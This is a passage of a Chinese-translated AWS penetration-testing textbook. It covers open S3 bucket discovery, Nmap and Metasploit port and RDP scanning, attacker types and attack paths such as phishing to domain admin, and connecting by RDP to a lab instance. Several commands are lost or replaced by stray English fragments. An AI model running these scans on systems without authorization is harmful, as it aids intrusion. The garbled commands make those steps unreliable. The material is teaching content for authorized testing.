Grayhat Warfare 是一个 Web 应用程序工具,它允许我们通过 Web 应用程序查询开放的 S3 存储桶。这使得列举和侦察变得非常简单和容易,因为一切都以简单而高效的图形用户界面呈现出来。

重要提示

Grayhat Warfare 可以在以下链接找到:buckets.grayhatwarfare.com/

以下屏幕截图显示了我们在packtpub.com上查询任何开放存储桶的基本示例。正如您所看到的,只有两个文件对互联网开放。通过从 Web 浏览器检查文件,您可以知道它们是图像文件,这让我们可以假设没有重要的数据是公开的:

图 3.4 - 使用 Grayhat Warfare 发现开放的 S3 存储桶

图 3.4 - 使用 Grayhat Warfare 发现开放的 S3 存储桶

现在我们对使用 S3 存储桶收集信息有了更多了解,让我们简要地查看并讨论一些在本书中将会看到的其他服务。

Lambda

Lambda 是一种无服务器计算服务,允许用户对查询和/或触发事件做出响应并运行代码。在 Lambda 内部运行的代码称为Lambda 函数。当执行 Lambda 函数时,它会执行您想要的任何操作。Lambda 非常适合用于针对在 AWS 中运行的应用程序执行代码。

重要提示

要了解有关 Lambda 的更多信息,请查看这里:docs.aws.amazon.com/lambda/latest/dg/welcome.html

我们将在本书的后面深入了解 Lambda,在第七章**,评估和渗透测试中。现在,了解 Lambda 是一种计算服务,可以让您在不需要预配或管理服务器的情况下运行代码。我们将在引用章节中执行更多的实际操作技术。

现在让我们继续前进,开始讨论 EC2 实例。

EC2 实例

EC2 实例充当特定操作系统的主机。将 EC2 实例视为属于他人的实际设备,允许您“远程”使用该硬件来存储和使用操作系统,然后是您自己的应用程序。然后,该实例可以用于托管公司可以用来执行业务实践的应用程序和其他服务。

这使公司和其他组织能够在不必购买物理资源的情况下扩展和扩展业务。正如我们已经了解的那样,在本书中我们将不断地遇到使用 EC2 实例。

在执行渗透测试时,侦察和枚举是您开始的第一步。执行成功的枚举对于帮助您更好地了解目标并能够绘制出您发现的服务非常重要。现在我们了解了这些主题,让我们继续使用扫描技术来枚举信息!

扫描和检查目标以进行侦察

扫描是测试 AWS 的基本部分之一。扫描可以让您查看实例及其环境的整体状况。这样做将使您能够查看开放的端口、漏洞和服务版本,攻击者可能能够轻松利用它们。随着我们在本书中的深入,我们将开始使用更多的扫描技术并执行它们来枚举和利用服务。

在真实的渗透测试场景中,您通常会有一个需要扫描的资产清单 - 除非这是一个黑盒评估,在这种情况下,您将不会知道任何关于网络的信息。然后,您会拿出资产清单,并使用各种工具对其进行扫描。如果您使用诸如 Nmap 之类的工具,您的主要任务将是发现开放的端口和服务。端口为我们提供了进入系统的不同途径,而运行在这些端口上的服务有时会在服务易受攻击且过时的情况下为我们提供便捷的入口。

重要提示

关于不同类型的渗透测试,如白盒测试和黑盒测试的快速回顾,请参阅第二章**,渗透测试和道德黑客

另一方面,您可能需要对活动主机运行漏洞扫描,以获取有关每个资产的所有漏洞信息。漏洞扫描是向公司提供其安全状况的整体概述的好方法,因为它提供了系统中每个主机上存在的每个漏洞。但是,渗透测试人员通常需要提供允许扫描器进行身份验证并扫描主机的系统主机的凭据。向白帽黑客提供凭据会使参与度略微降低,因为测试人员已经拥有用户名和密码,而无需进行渗透测试。

让我们继续并看看我们可能用于扫描的一些工具。请注意,下一节将不会用作利用练习,而是将讨论用于扫描和收集信息的某些工具。在本书的其余部分中,我们将使用各种工具和技术来进行利用。但是,我们需要学会走路才能跑,这在本书中会看到很多次。

重要提示

在应用知识之前,了解工具的理论是非常重要的。

Metasploit

虽然 Metasploit 以其利用模块和自动利用而闻名,但它也是一个非常好的工具,可以进行扫描。在其库中,它拥有所谓的“辅助模块”。这些模块可以用作允许扫描和验证漏洞的工具。您还可以使用 Metasploit 来扫描端口,就像您使用 Nmap 一样 - 稍后我们会详细介绍 - 并探测开放的 TCP 和 UDP 端口。

当然,寻找开放端口和漏洞是很好的,但在渗透测试中,适当的枚举仍然是关键。Metasploit 有助于减轻一些流程,并允许您搜索服务的版本和默认凭据,并且可以发现您通常找不到的开放 Web 目录。在本书中,我们将花费相当多的时间来使用 Metasploit,所以不用担心!将 Metasploit 添加到您的工具库中会有无限的可能性。另一个具有无限扫描可能性的工具是 Nmap。

Nmap

我们在第二章**《渗透测试和道德黑客》中提到了 Nmap,但是需要再次提到 Nmap 是一个非常好的工具,可以添加到您的扫描工具集中。Nmap 提供了许多脚本,允许您枚举在扫描目标上运行的各种端口上的软件版本。找到服务的版本可以让您攻击可能过时并且有公开漏洞的服务。

让我们使用 Nmap 对packtpub.com进行扫描,看看我们能发现什么信息。以下步骤说明了我们如何做到这一点:

要积极扫描我们的目标,请执行以下操作:

  1. 在 Kali Linux 中打开终端。

  2. 输入以下命令:

nmap scan should show us everything that we can retrieve with the command. Using the -A parameter allows us to run all scripts and service scans against our target to pull the most information possible:

图 3.5 - 使用 Grayhat Warfare 发现开放的 S3 存储桶

图 3.5 - 使用 Grayhat Warfare 发现开放的 S3 存储桶

注意我们获得了一些更多的信息,比如 IP 和到地址的跳数。这让我们知道到主机的路径。

提示

SPARTA 是一个基于 Python 的工具,为您提供了一个图形用户界面来与您的目标进行交互。虽然我们在本书中不会使用 SPARTA,但根据您的需求,您可能会发现它很有用。SPARTA 可以在点击按钮时结合各种扫描和检查。您还可以将 Nmap 扫描导入到 SPARTA 中 - 这为攻击路径和自动化提供了无限的可能性。要了解有关 SPARTA 的更多信息,请查看此处的链接以发现工具的更多用途:tools.kali.org/information-gathering/sparta

现在让我们讨论一些关于 AWS 服务工具、技巧和窍门。

LambdaGuard

Lambda 是一个计算服务,可以执行代码,这意味着只有在应该执行代码时才会执行-为消费者节省资源和金钱。然而,并不是说它没有问题-特别是因为它是由人类创建的代码驱动 Lambda 环境。LambdaGuard 是一个工具,可以对审计 Lambda 服务进行可视化,并扫描可能成为攻击向量的潜在问题。它可能发现的其他问题包括以下内容:

  • 公共 S3 存储桶是公开可用的,任何人都可以在互联网上找到它们。这意味着您可以查询公共存储桶并找到可能敏感的信息。在公共存储桶中可能存在个人信息、信用卡号码或健康记录等敏感信息。

  • 公共 API 网关充当互联网的门户,但这并不意味着每个人都应该有权访问它们。AWS API 网关用于内部资源,如果保持公开,可能会允许任何人潜在地访问网络,如果 API 没有得到保护。但是,请注意,公共 API 也是为了允许环境内的授权人员访问而创建的。

  • 配置不良的策略会产生安全问题,可能会演变成影响深远的情况。例如,策略可能允许某人绕过安全限制并访问资源,如 S3 存储桶。

要安装该工具,请按以下步骤操作:

  1. 使用 Git 从其存储库中拉取代码:
$ git clone https://github.com/Skyscanner/lambdaguard
  1. 然后切换到目录:
$ cd lambdaguard
  1. 一旦进入 LambdaGuard 工作目录,继续通过运行以下命令来安装应用程序:
$ sudo make install

现在您应该可以使用该工具了。我强烈建议您使用它并熟悉它,除了本书之外。

S3 扫描

最近几年,配置错误的 S3 存储桶已经成为一个相当严重的问题,并且是渗透测试 AWS 时寻找问题的热门地点之一。S3 存储桶具有内置的安全性,但在个别配置后安全权限被修改。

我们将在第四章**,利用 S3 存储桶中讨论大量关于 S3 的信息;重要的是要理解扫描是对 S3 进行侦察和信息收集的重要功能。

在这种情况下,我们将重点介绍扫描企业 S3 存储桶通常需要的简要概述。S3 存储桶充当存储桶,存储诸如档案、PDF 报表和其他冗余信息等信息。扫描 S3 存储桶对于确保不存在配置错误至关重要。如果存在配置错误,可能会泄露信息,例如上述提到的信息,这可能会落入错误的手中。

继续利用我们对 AWS 及其服务的了解,让我们开始讨论一些不同类型的攻击者以及我们可以模拟的潜在攻击路径。

了解攻击者

假设您正在进行渗透测试任务,您的客户要求您测试他们的系统。我们可以通过几种方式来做这件事。我们可以从外部视角或内部视角进行测试。根据客户的业务需求,这两种方式都会为客户提供不同的结果和投资回报。让我们快速看一下内部外部究竟是什么。

内部人员

更常见的请求将来自内部视角。内部人员被认为是员工或者有权访问客户系统的人。这意味着您作为测试人员将获得连接到 AWS 环境所需的信息。您将获得一个帐户 ID 和凭据来访问云环境,然后可以让您的脚本运行以发现 S3 中的问题。

通常,白盒渗透测试将与内部人员的视角相结合。这意味着客户需要渗透测试公司检查系统中的任何事物。这意味着渗透测试的范围将列出所有系统和访问这些系统所需的凭据,允许测试人员找到任何脆弱和可利用的东西。

现在,有不同类型的内部人员,你可能需要模拟以满足客户对其请求的渗透测试的特定需求或目标。重要的是,你了解可能对组织构成威胁的各种恶意内部人员。以下是一些你应该注意的类型:

  • 情绪攻击者:这些人让自己的情绪失控,并采取了恶意的转变。通常情况下,这些攻击者是之前和现在不满的员工。他们不满的原因各不相同,但任务通常都是一样的:为了利润或竞争对手窃取数据。在进行渗透测试时,最好查看业务和人员流程,以确保这些内部人员不会做出可能伤害公司的恶意或有意的改变。

  • 无意和无意的:这种类型的内部人员并不是攻击者,他们并不知道自己的行为。例如,数据库管理员可能会意外删除了一个包含重要客户信息的表。他们可能并不知道自己做了什么,只是缺乏培训。

事件是意外还是威胁的区别在于个体是否持续。如果他们持续下去,那么可能不是缺乏知识,而可能是其他原因。确保员工接受培训并定期跟进将有助于减轻这种类型事件可能恶化的可能性。此外,密切关注他们是至关重要的,因为他们最容易受到攻击。虽然我们不一定会模拟这种类型的内部人员,但了解这些是很有用的。

  • 持续内部人员:最危险的威胁之一就是持续的威胁。这意味着这个人会不惜一切手段获取他们想要的信息或结果。他们的理由可能因情况而异,但他们对利用或利润的渴望使他们固执而坚定。

外部人员

外部人员包括与公司直接合作的任何人,包括承包商和特权较低的人员,如访客或第三方供应商。有时,一些人可能被认为是近端人员- 但在本书中,我们将坚持称他们为外部人员,以保持简单。

外部人员是指必须获得系统授权访问但不应该对目标系统有任何了解的人。这里要记住的关键词是“授权”,因为可能会有不幸的时候,外部人员可能会获得未经授权的访问-这仍然被视为访问。

外部人员的描述各不相同,可以是试图利用他人代码攻击 Web 服务器的脚本小子,也可以是一个不惜一切代价获取系统控制权的国家支持的威胁,通常是高级持续威胁APT)- 他们有权力和资金来实现这一目标。在许多情况下,APT 的客户或资金直接来自他们的政府。

既然我们了解了各种攻击者,让我们继续讨论攻击路径以及这些攻击者如何使用场景来执行攻击。

创建攻击路径

攻击路径涉及使用从目标处收集的信息,制定一个关于你或实际威胁如何利用这些信息来利用目标系统或应用程序的“故事”或“场景”。网络上有一些框架可以让你从实际先前事件中获取攻击路径的想法。

提示

虽然这与本书的主题有些偏离,但我强烈建议查看 MITRE ATT&CK 框架获取更多信息:attack.mitre.org/

不同的攻击场景需要不同的渗透测试方式。有些场景需要全面的方法,有些则更加目标导向。在甚至开始扫描和尝试连接到任何 AWS 设备之前,了解您需要知道的信息是非常重要的!一些客户可能有更自然的方法,而另一些客户则会有一个直接的目标,他们希望您攻击并尝试利用。

有机攻击路径

有机攻击路径包括以一种自然的方式利用系统。这意味着您——测试人员——没有被给予一个特定的目标,应该以任何道德方式接近系统。我们强调“道德”这个词,因为确保客户和自己的安全至关重要。

有机攻击路径可能如下所示:

  1. 测试人员被给予规则约束ROE)和系统架构概述。

  2. 测试人员发送钓鱼邮件。

  3. 一个权限很高的用户点击了一封钓鱼邮件,允许测试人员获取域的管理员凭据。

  4. 测试人员能够从一台机器转移到另一台机器。

  5. 在网络上进行横向移动后,测试人员能够获得域管理员。一旦建立为域管理员,测试人员就能在目标环境中执行任何操作。

获得域控制器上的域管理员通常是渗透测试的主要目标。基本上,如果用户对网络拥有域管理员权限,他们就拥有了网络——这里的“拥有”意味着他们对网络拥有了完全控制权。

有时,获得域管理员并不是渗透测试的目标。不同的项目将有不同的范围,不同的范围可能包含不同的目标。这些类型的项目被称为“目标导向”项目。

目标导向攻击路径

目标导向攻击路径包括利用客户组织的特定目标,同时保持在范围内。目标导向评估的目的可能是测试一个即将投入生产的系统,或者用于复制特定高级持续威胁APT)的攻击方法。

客户可能希望以与特定对手可能攻击他们的方式来测试系统。这在国防工业中很常见,用于测试系统的防御能力。客户可能希望确保他们的系统是最新的,并且能够检测和响应——以防发生意外。

AWS 攻击路径

AWS 攻击在渗透测试中并不那么常见。这在很大程度上是由于 AWS 的新实施,不是所有的渗透测试和对抗模拟都跟得上 AWS。然而,这并不意味着我们仍然可以使用我们传统的思维方式来创建攻击路径,这些路径不能应用于 AWS。以下展示了我们在渗透测试或练习中可以攻击 AWS 实例的一种方式。

在 AWS 方面,攻击路径通常如下所示:

  1. 测试人员在互联网上搜索公共 S3 存储桶。

  2. 测试人员搜索常见的存储桶名称并找到匹配项。

  3. 测试人员在存储桶中搜索对象。

  4. 测试人员找到匹配项并泄露信息。

请注意,您可能会被提供凭据以访问 AWS 环境,这将允许您以内部人员的身份访问系统。如果给予访问系统的凭据,最好查找员工在创建 S3 存储桶后可能实施的错误配置。查看这个潜在问题很重要,因为它可能导致更严重的副作用,比如信息泄露,或者允许未经授权的用户查看他们不应该查看的信息。

渗透测试攻击路径

在真实世界的渗透测试场景中,您的攻击路径会因参与而异,参与即为渗透测试本身,以及该渗透测试的每个方面。在进行渗透测试之前,对客户网站进行功课是明智的,以确保您已经收集到足够的信息,以便为目标组织执行高效和有效的渗透测试。要开始收集信息,您可以使用 Google 搜索目标的各种属性。也许您可以找到目标的电子邮件和电话号码,甚至找到存储重要信息的公共 S3 存储桶。

企业的红队行动

红队行动并不是一种攻击路径,而是对企业流程和政策的质量保证检查。红队行动可以涉及对渗透测试的不同领域的观察,以及根据客户的需求或要求,混合攻击路径。由于其灵活性和强度,红队行动测试企业的所有方面。然而,重要的是要理解客户在进行渗透测试之前需要拥有成熟的商业模式。

通常情况下,客户在对公司进行红队参与评估之前,会更多地从漏洞评估或基本的渗透测试中受益。公司需要拥有一个成熟和强大的商业模式和安全计划,否则,红队行动将无法突出公司内部问题的全部范围。

深入攻击者心态

这个主题有点禁忌,但在本书的过程中会一再提到。由于黑客术被用于窃取数据和攻击政府等犯罪活动,黑客术一直是禁忌。然而,近年来,它变得更加主流,现在被用于测试公司并让它们真正了解其安全姿态。

了解攻击者的心态至关重要,因为这是优秀结果和出色结果之间的区别所在。优秀的结果来自于对系统的理解,以及向客户提供详细报告,指出如何修复和消除漏洞。具有攻击者心态的白帽黑客能够提供关于恶意黑客如何通过任何必要手段侵入系统的见解。

我们现在已经讨论了很多不同的主题。我们从讨论侦察和信息收集开始,然后讨论了不同的攻击者类型,以帮助说明信息对公司的影响。现在,让我们来看一些实际操作的练习,并应用这些信息。不过,首先,让我们提到一些重要的东西 - SSH 密钥。

发现 SSH 密钥

SSH,或安全外壳,是各种系统管理员在其基础设施中实施的常见登录服务。这种快速和安全的系统使该服务成为安全目的的理想选择,同时也因其类似密钥的基础设施而具有“可行性”。密钥使身份验证变得无缝,就像我们在第一章**,构建您的 AWS 环境中所做的那样,使用我们从 AWS 实例中下载的密钥。这些密钥给了我们“王国的钥匙”,让我们能够访问我们的 AWS 实例。

密钥的工作原理

必须创建一个私钥和公钥来使用该服务。创建密钥对时,会生成并存储一个私钥在系统中。在这种情况下,密钥存储在我们的 EC2 实例中。私钥是绝对不应该与任何人分享的密钥。近年来,私钥的曝光和造成公司的损害已经引起了关注。

图 3.6 - 公钥和私钥示意图

图 3.6 - 公钥和私钥示意图

私钥只是认证关系的第一部分。需要生成一个公钥,允许用户对系统进行身份验证。公钥由用户持有 - 在这种情况下,是我们 - 并确保来回的流量从客户端到服务器都是加密的。如果公钥与服务器上授权密钥列表不匹配,那么身份验证将失败,用户将无法登录到服务器。您可以在 Linux 实例的~/.ssh中找到这些密钥存储。

良好的卫生习惯

一个好的做法是永远不要将您的私钥存储在不安全的地方,比如一个开放的 Web 目录。开放共享是一个可能是可以通过匿名 FTP 访问的目录的文件。丢失服务器的私钥可能会带来严重的后果,可能难以克服。请记住永远不要分享私钥,并将它们存储在一个具有访问控制的地方,不允许未经授权的用户访问密钥。

现在我们了解了这些 SSH 密钥的用途,让我们把这些知识应用到实践中,连接到我们的 EC2 实例!

扫描和连接到 AWS

现在我们将扫描 AWS 内部的系统。这在渗透测试中起着重要作用,因为正如我们提到的,扫描和枚举构成了 AWS 和一般渗透测试的第一个技术部分。在开始对 AWS 环境进行渗透测试时,了解从何处开始是很重要的。假设所有先决条件都已满足,并且一切都井井有条,那么继续扫描和连接到实例应该是测试 AWS 的下一个逻辑组成部分。

在开始之前,请确保您的 Windows 主机正在运行。登录到 AWS 管理控制台,回顾第一章**,构建您的 AWS 环境,如果需要复习 - 然后返回到这里。

一旦准备好,我们将继续使用 Nmap 来扫描我们的 AWS 环境。

使用 Nmap 进行扫描

现在让我们让 Nmap 发挥作用,用它来检查 Windows 2008 服务器,并查看我们在系统上启用的开放 RDP 端口:

  1. 首先,我们将通过 Nmap 扫描主机来查看主机。这将允许我们检查并查看远程桌面协议RDP)是否开放。RDP 将允许我们从我们自己的机器远程连接到主机。

  2. 要扫描主机,请使用我们之前设置的 Kali Linux 主机,在第一章**,构建您的 AWS 环境。一旦您的主机正在运行,打开终端并执行以下命令:

$ nmap -p 3389 -Pn <AWS host>

让我们快速分解一下这个简单而有效的命令。使用了以下开关:

  • -p:指示我们要探测的端口,探测意味着发送请求,试图从主机获取响应。在这种情况下,我们正在检查端口3389,这是与 RDP 相关的端口。如果我们想要扫描更多端口,可以通过用逗号分隔端口来添加它们。我们还可以扫描一个范围,例如使用以下命令扫描前 100 个端口:
0, because this is often a port that is overlooked but at times can offer a way into a system. 
  • -Pn:此开关禁用了nmap扫描的pingping通常会引起不必要的噪音,并且有时不会给出对扫描主机的合理输出,如果主机不响应ping。重要的是要注意,如果主机不响应ping,那么这并不意味着主机不活着,因为主机不响应ping是很常见的。特别是在 AWS 环境中,确保习惯使用nmap扫描的-Pn开关。

扫描完成后,您将收到反馈,提示 RDP 已开放,并给出以下类似的输出:

图 3.7 - 扫描 RDP

图 3.7 - 扫描 RDP

正如你所看到的,我们的实例显示主机实际上正在运行,并且端口3389,远程桌面是开放的,并且允许我们连接。在查看打开 RDP 的主机之前,让我们看看如何使用 Metasploit 来扫描 RDP。我们想要尝试这样做的原因是测试针对主机的各种工具是一个很好的实践。最终,这为你提供了选择的机会,以防你需要使用特定的工具。

启动 Metasploit

你可以使用 Metasploit 进行扫描,在这种情况下,由于我们只关注 RDP,我们只需要使用 Metasploit 中的端口扫描模块来探测开放的端口。正如我们提到的,能够使用不同的工具来执行场景是一个好的实践,以防一个工具不起作用,而你又没有时间进行故障排除。接下来的步骤将讨论使用 Metasploit 扫描我们的主机所需的步骤。

确保 Metasploit 已经启动:

$ msfdb run

现在你应该有一个终端,可以为你提供 Metasploit 的主要背景:

图 3.8-Metasploit 控制台

图 3.8-Metasploit 控制台

如果这是一个真实的参与,比如为客户进行的渗透测试,下一步将是连接到资源并开始评估 AWS 资源。在参与过程中,获取与主机交互所需的凭据非常重要。在这种情况下,我们已经拥有了所需的信息,并可以从我们设置的 Windows 机器中获取我们的凭据。

现在我们已经启动了 Metasploit,是时候看一看我们可以用来扫描主机上的 RDP 的几个不同的扫描模块了。在接下来的步骤中,我们将在我们本地的 Kali 实例上使用 Metasploit,但是,如果你选择这样做,也可以在 AWS 中使用 Kali 镜像。

使用 Metasploit 进行 TCP 扫描

接下来,我们想要扫描我们的 Windows 主机并检查开放的端口。Metasploit 提供了各种模块来执行扫描你的主机。每个模块提供不同的技术和针对各种服务的扫描。在启动扫描之前,让我们谈谈其中一些模块:

  1. 首先,在你的 Metasploit 终端中输入以下内容:
$ search portscan

如果你正确输入命令,你应该会得到一个类似以下的提示:

图 3.9-端口扫描 Metasploit 模块

图 3.9-端口扫描 Metasploit 模块

如果你没有得到类似前面截图的结果,请更新你的 Metasploit,然后再回到本章的这部分。

  1. 接下来,我们将使用 TCP 扫描。TCP 扫描将执行完整的 TCP 三次握手并与主机建立完整连接,以枚举主机。这并不意味着我们的机器将对主机进行身份验证-稍后会详细介绍。我们的主机将发送3389(RDP)。

  2. 回到使用 Metasploit,我们将使用 TCP 端口扫描模块执行 3 次握手,并获取我们所需的信息。启动 Metasploit 后,输入以下内容使用 TCP 端口扫描器:

$ use auxiliary/scanner/portscan/tcp

在我们能够看到端口3389是否开放之前,你需要在模块中更改一些参数。首先,你需要输入options命令查看参数(Metasploit 将它们标记为选项),并设置这些参数以适应你的需求。在这种情况下,我们只会更改以下参数:

  • RHOSTS:此选项设置为你要测试的目标,或者在这种情况下,我们要扫描的目标。将选项设置为你的 AWS 实例的公共 DNS 地址。

  • PORTS:此选项可以设置为单个端口或范围-就像在 Nmap 中设置端口一样。在这种情况下,我们将使用端口3389

确保正确设置这些参数。如果你发现自己在犹豫不决,你可以输入options命令查看当前设置的选项。之后,你可以输入runexploit命令来执行模块:

图 3.11-使用 Metasploit 进行端口扫描

图 3.11 – 使用 Metasploit 进行端口扫描

正如你所看到的,我们得到了输出,告诉我们端口3389在我们的主机上是开放的。这是由模块使用以下格式向我们显示的:

[+] <IP>	- IP:PORT - TCP OPEN

好消息 – 我们已经成功地用 Metasploit 扫描了我们的 Windows 主机!现在我们知道了 TCP 扫描模块的工作原理,让我们来看看可以用于较少侵入性扫描的不同模块。

使用 Metasploit 进行 ACK 扫描

接下来,我们将使用一种我喜欢用来查看端口是否被过滤的扫描。通常,端口将被过滤以仅允许特定的流量进入,或者只允许特定的主机使用该端口。这经常使渗透测试人员使用欺骗攻击来尝试破坏服务,或者只是转移到其他事物。

检查端口是否被过滤的一个好方法是使用 ACK 扫描。这种类型的扫描是由主机发送一个3389是否被过滤。如果它没有被过滤,那么我们可以尝试在该端口上继续。在我们的实验环境中,该端口将是开放的 – 然而,如果这是一个真正的渗透测试,并且我们被告知某个端口过滤了,那么看看其他没有被过滤的端口和服务是明智的。

在我们继续之前,看一下下面的图表,它显示了 ACK 扫描的简要概述。这张图片是对这种扫描如何工作以及可以用于什么的一个非常简单的分解:

图 3.12 – ACK 扫描

图 3.12 – ACK 扫描

现在我们对 ACK 扫描有了一个基本的理解,让我们使用以下模块来完成工作:

$ use auxiliary/scanner/portscan/ACK

就像以前一样,我们需要为我们的模块设置参数。我们可以通过设置与我们之前为 TCP 扫描设置的相同参数来实现这一点。就像以前一样,设置您的参数并对您的 AWS 主机运行扫描:

图 3.13 – 使用 Metasploit 进行 ACK 扫描

图 3.13 – 使用 Metasploit 进行 ACK 扫描

如果扫描按计划进行,您将得到反馈,主机已成功被扫描,并且端口未被过滤。

现在我们已经在我们的主机上使用了 TCP 和 ACK 扫描,让我们再看看另一个模块来对我们的主机进行一些侦察。对于我们的下一个扫描,我们将使用 Metasploit 中提供的内置 RDP 扫描程序。

使用 Metasploit 进行 RDP 扫描

自从我们开始使用 Metasploit 进行扫描以来,我们已经对我们的主机进行了大量的侦察和枚举。在使用 Metasploit 和 Nmap 之间,我们现在对我们的目标有了以下了解:

  • 端口3389是开放的。

  • 端口3389未被过滤。

如果这是一个真正的测试,下一步将是查看主机上运行的操作系统。我们可以通过在 Nmap 中使用-O开关来做到这一点,但由于我们已经启动并运行了 Metasploit,让我们继续使用它:

  1. 首先,使用以下模块:
RDP_USER parameter to a username on the host. This parameter allows us to use a known username (that must be active on the target) to scan the machine and check for ports and a possible operating system. We already know that our Windows host username is Administrator, however, in a real pentest, it is common to try more than just default usernames. 
  1. 设置参数后,使用run命令开始扫描并查看输出。如果一切顺利,输出将显示端口3389是开放的,并且实例正在运行 Windows:图 3.14 – 使用 Metasploit 进行 RDP 扫描

图 3.14 – 使用 Metasploit 进行 RDP 扫描

  1. 如果您想看到结果的不同,使用UNSET命令来擦除您放入选项中的值。UNSET命令正是它的名字所说的 – 它取消刚刚设置的参数!

现在我们已经成功地进行了一些枚举并扫描了我们的主机。随意查看其他模块来扫描主机,并了解 Metasploit 如何通常用于扫描主机。

让我们继续前进,实际连接到我们的 Windows 主机。首先,我们将使用我们的 Kali Linux 镜像 – 随意使用您的本地或 AWS Kali 机器。之后,我们将使用远程桌面客户端来测试我们与 AWS 主机的连接。

使用 Kali 进行连接

现在我们确切地知道RDP是打开的,我们可以使用我们从解密 Windows AWS 密钥中获得的用户名和密码连接到它。如果需要,回去看看如何检索您的 Windows 密码,然后再回到这里:

  1. 首先,您需要使用一个名为“管理员”的工具。有一个参数允许在终端中输入密码,但是这是以明文显示的。最佳做法(稍后会详细介绍)是不要以明文显示密码:图 3.15 - 通过 rdesktop 通过 RDP 连接

图 3.15 - 通过 rdesktop 连接 RDP

  1. 因为密码参数允许密码以明文显示,所以当您看到登录屏幕时,您将输入您的密码。输入您的 AWS 密钥分配给您的密码:

图 3.16 - Windows 服务器的登录屏幕

图 3.16 - Windows 服务器的登录屏幕

一旦成功登录,您可以像对待常规 Windows 主机一样进行更改。

如果连接成功,您应该会看到一个类似以下内容的桌面:

图 3.17 - Windows 桌面

图 3.17 - Windows 桌面

随意四处看看,感受一下。可能需要一点时间来适应。

连接 Windows

现在我们已经在我们的 Kali 机器上使用了 rdesktop,是时候转向更受欢迎,或者至少更常规的通过 RDP 连接的方法了。如果您没有基于 Windows 的主机,不要担心;您也可以下载其他操作系统的远程桌面:

  1. 首先,打开“远程桌面”,然后按Enter。它应该会自动打开您安装的 RDP 应用程序。如果没有,您需要解决问题,然后返回完成本章的这一部分。

  2. 就像以前一样,我们将输入我们的 AWS 实例的公共 DNS 名称,以及用户名“管理员”来开始连接:图 3.18 - Windows 上的远程桌面应用程序

图 3.18 - Windows 上的远程桌面应用程序

  1. 一旦点击连接按钮,您将被提示输入 Windows 主机的凭据。继续复制并粘贴密码到密码字段,并记住连接,这样您就不必每次想要登录到 AWS 实例时都输入密码:

图 3.19 - 远程桌面的登录提示

图 3.19 - 远程桌面的登录提示

连接后,您应该会看到一个占满整个桌面的桌面。这个新桌面是您的 AWS Windows 实例的桌面。

恭喜!您已成功扫描并连接到您的 AWS 实例!在本章中,我们学到了很多东西,现在应该可以熟练使用一些渗透测试工具,并启动我们自己的带有各种操作系统的 EC2 实例。既然我们已经掌握了渗透测试和 AWS 的基础知识 - 让我们谈谈学到的经验以及它们如何适用于本书的后续内容。

从经验中学习

您在渗透测试中学到的经验是您在作为渗透测试人员的时间中获得的最宝贵的资源之一。无论您是否以此为职业或作为业余爱好,所学到的经验都涉及使用您从专业和个人经验中获得的知识,并将其应用于未来的努力。

利用远见来审视您的渗透测试努力,让您能够查看自己的错误,并将这些错误视为一种学习经验,而不是严厉的失败。这是关于向前失败,而不是向后失败,这将确保您在渗透测试知识方面的成长。通常,这就是决定专业人士和业余爱好者在渗透测试社区中成败的关键。

对于本书来说,重要的是要理解所学到的教训可能需要您多次复习材料,或者您可能需要回头尝试以不同的方式做某件事,因为这对您更合适,或者您意识到自己一直在错误地输入 Metasploit 中的参数,现在知道在将来设置参数之前需要自我约束。本书中所学到的教训将帮助您在学习过程中不断成长。

在现实生活中的渗透测试中,为客户提供高投资回报(ROI)通常是确保您将自己定位为渗透测试人员并保持专业渗透测试关系的关键。因此,不断评估自己是至关重要的,以便您和您的客户能够充分利用渗透测试。我们将在本书的后面更多地讨论这一点,但了解到教训和投资回报与渗透测试有一定的相关性和因果关系仍然是很好的。

总结

您现在已经具备了继续阅读本书所需的知识。本章包括了渗透测试技术的概述,以及不同类型的渗透测试及其执行方式。简要了解渗透测试可以以不同的方式使用,例如红队行动或目标导向型渗透测试,这一点非常重要。我们将在本书中探讨更多的方式,并在这些情况出现时提醒您。

本章的重要测试是扫描我们的 AWS 主机,然后通过 RDP 连接到它。我们展示了如何在扫描主机以成功枚举并使用该信息连接主机的理论和实际知识。在本书中,我们将使用类似的技术和方法-因此,请确保您将迄今为止学到的作为本书的基准。

在下一章中,我们将继续进行更多实践性的话题,并开始利用 AWS 服务。

进一步阅读

第四章:利用 S3 存储桶

S3 存储桶是 AWS 用来存储数据的主要资源之一。S3 存储桶是存储对象(如数据和元数据)的好方法。然而,与其他文件存储解决方案一样,S3 存储桶可以通过简单的配置错误轻松被利用。这些配置错误可能导致数据泄露和其他严重的安全问题。

在本章中,我们将深入研究 S3 存储桶、它们的功能以及如何利用公共存储桶和配置错误的存储桶。我们还将讨论现实世界的情景,以及 S3 存储桶中的漏洞如何成为许多公司普遍的全球问题。

在本章中,我们将涵盖以下主题:

  • AWS 区域和可用区

  • 操作 S3 存储桶

  • S3 存储桶策略

  • 了解公共存储桶

  • 用于查找私有存储桶的脚本

  • 一个基于目标的渗透测试场景

  • 使用 Grayhat Warfare 发现存储桶

  • 构建本地 S3 环境

技术要求

要按照本章的说明进行操作,您需要以下内容:

  • AWS CLI(在第一章**中介绍,构建您的 AWS 环境

  • Bash

本章中使用的代码可在以下链接找到:

查看以下视频以查看代码的实际操作:bit.ly/3mJdY89

AWS 区域和可用区

在开始使用 S3 之前,我们应该讨论一些事情。了解 AWS 如何存储数据至关重要,因为了解如何和为什么有助于我们更好地理解基本原理。具有基本的理解能够让我们进一步理解我们已经知道的内容并从中发展。为了帮助我们更好地理解这一点,让我们在深入研究 S3 之前先讨论一下基础设施。

就像本地服务器通常存储在您的业务或组织附近一样,将存储在 AWS 中的信息尽可能地靠近您进行托管是明智的。我的意思是使用地理位置靠近您的系统来帮助支持您的云资源任务。这就是 AWS 区域发挥作用的地方,它允许您根据您的需求和位置地理分配资源。这些地理位置区域称为区域,可以在 AWS 中找到。您可以通过在 AWS 控制台右上角选择它们来查看区域。本书中我们一直在使用的当前区域是俄勒冈

!图 4.1 - AWS 区域列表

图 4.1 - AWS 区域列表

AWS 区域是 AWS 用来托管数据和基础设施的各种地理位置。幸运的是,它们在全球范围内托管,各个主要国家都设有区域,允许您选择离您最近的区域。选择离您最近的基础设施意味着您或最终用户的延迟更小。目前,您可以选择几个区域。以下截图直接来自亚马逊,突出显示了所有区域和您可以选择的本地区域:

!图 4.2 - AWS 区域的更长列表

图 4.2 - AWS 区域的更长列表

您可以看到这里有许多区域可供选择。正如已经提到的,确保选择离您最近的区域。这将确保最佳资源利用,因为它们将位于您附近。

现在我们已经了解了 AWS 区域,让我们来看一些最佳实践。

AWS 区域最佳实践

